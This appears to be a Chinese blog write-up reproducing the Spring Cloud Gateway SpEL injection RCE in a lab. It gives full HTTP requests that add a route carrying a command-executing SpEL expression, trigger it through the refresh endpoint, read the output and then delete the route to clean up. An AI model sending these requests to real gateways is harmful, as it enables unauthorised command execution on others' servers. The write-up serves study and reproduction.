spring_cloud_RCE

简介: spring_cloud_RCE

简介

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

环境

640.png

image-20220304104422547

640.png

image-20220304104654131

漏洞

首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

POST /actuator/gateway/routes/lemonlove7 HTTP/1.1
Host: 192.168.80.138:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328
{
  "id": "lemonlove7",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

640.png

image-20220303193629575

然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.80.138:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

发送如下数据包即可查看执行结果:

GET /actuator/gateway/routes/lemonlove7 HTTP/1.1
Host: 192.168.80.138:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/lemonlove7 HTTP/1.1
Host: 192.168.80.138:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

使用python脚本进行检测

640.png

脚本及环境搭建

https://t.zsxq.com/e6ujeae

相关文章
|
2月前
|
消息中间件 JSON Java
Spring Boot、Spring Cloud与Spring Cloud Alibaba版本对应关系
Spring Boot、Spring Cloud与Spring Cloud Alibaba版本对应关系
1065 0
|
8月前
|
XML 安全 Java
Spring Boot 中的 Spring Security 是什么,如何使用
Spring Boot 中的 Spring Security 是什么,如何使用
|
10月前
|
消息中间件 Dubbo Java
Spring Boot、Spring Cloud、Spring Cloud Alibaba 版本依赖关系
Spring Boot、Spring Cloud、Spring Cloud Alibaba 版本依赖关系
931 2
|
监控 安全 Java
16 spring boot漏洞利用
Spring框架为开发Java应用程序提供了全面的基础架构支持。它包含一些很好的功能,如依赖注入和开箱即用的模块,如:Spring JDBC、Spring MVC、Spring Security.Spring AOP、Spring ORM、Spring Test,这些模块缩短应用程序的开发时间,提高了应用开发的效率例如,在Java Web开发的早期阶段,我们需要编写大量的代码来将记录插入到数据库中。但是通过使用Spring JDBC模块的JDBCTemplate,我们可以将操作简化为几行代码。|
16 spring boot漏洞利用
|
监控 Java Spring
Spring Cloud - Spring Boot Admin 客户端
Spring Cloud - Spring Boot Admin 客户端
Spring Cloud - Spring Boot Admin 客户端
|
监控 Java 微服务
Spring Cloud - 集成 Spring Boot Admin 服务端
Spring Cloud - 集成 Spring Boot Admin 服务端
Spring Cloud - 集成 Spring Boot Admin 服务端
|
安全 Java API
Spring Boot使用Spring Security POST无法访问解决方案
Spring Boot使用Spring Security POST无法访问解决方案
618 0
|
安全 Java Apache
Spring Boot中使用Spring Security进行安全控制
Spring Boot中使用Spring Security进行安全控制
359 0
|
Java Spring
五分钟带你玩转spring cloud alibaba(十)spring cloud ouath2 +getway跨域特殊配置
五分钟带你玩转spring cloud alibaba(十)spring cloud ouath2 +getway跨域特殊配置
173 0
|
测试技术 网络安全 开发工具
Spring Cloud配置服务器(二)
搭建Spring Cloud Config Server 基于文件系统(File System) 创建本地仓库 激活应用配置服务器在引导类上标注@EnableConfigServer package com.
1619 0